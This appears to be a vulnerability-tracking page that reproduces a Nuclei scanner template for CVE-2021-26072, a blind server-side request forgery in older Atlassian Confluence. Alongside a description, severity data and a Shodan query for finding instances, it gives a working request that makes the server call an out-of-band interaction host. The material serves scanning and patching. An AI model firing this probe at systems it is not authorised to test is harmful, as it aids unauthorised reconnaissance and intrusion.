CVE-2021-26072: Atlassian Confluence < 5.8.6 - Server-Side Request Forgery

2025-08-01 Atlassian Confluence PoC Public

Description

Confluence Server and Data Center before 5.8.6 contain a blind server-side request forgery caused by the WidgetConnector plugin, letting remote attackers manipulate internal network resources, exploit requires network access to the server.

PoC

id: CVE-2021-26072

info:
  name: Atlassian Confluence < 5.8.6 - Server-Side Request Forgery
  author: TechbrunchFR
  severity: medium
  description: |
    Confluence Server and Data Center before 5.8.6 contain a blind server-side request forgery caused by the WidgetConnector plugin, letting remote attackers manipulate internal network resources, exploit requires network access to the server.
  impact: |
    Authenticated attackers can manipulate internal network resources via SSRF, potentially accessing sensitive internal services or data.
  remediation: |
    Upgrade to Confluence Server version 5.8.6 or later.
  reference:
    - https://bitbucket.org/atlassian/confluence-business-blueprints/pull-requests/144/issue-60-conf-45342-ssrf-in-sharelinks
    - https://github.com/assetnote/blind-ssrf-chains#confluence
    - https://nvd.nist.gov/vuln/detail/CVE-2021-26072
    - https://jira.atlassian.com/browse/CONFSERVER-61399
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 4.3
    cve-id: CVE-2021-26072
    cwe-id: CWE-918
    epss-score: 0.38845
    epss-percentile: 0.98511
    cpe: cpe:2.3:a:atlassian:confluence_server:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: atlassian
    product: confluence_server
    shodan-query: http.component:"Atlassian Confluence"
  tags: cve,cve2021,confluence,atlassian,ssrf,oast,vuln,vkev

http:
  - method: GET
    path:
      - '{{BaseURL}}/rest/sharelinks/1.0/link?url=https://{{interactsh-url}}/'

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

      - type: word
        part: body
        words:
          - "faviconURL"
          - "domain"
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a0048304602210092ed83ecf63b571214c406bce01193f608343221afe62ff7c7f1bea0e4dc6c0a022100d0bccc07174f05b9a81c54df8efb0d5650f0034439925216ccb99b391aa95b7a:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-26072.yaml

References

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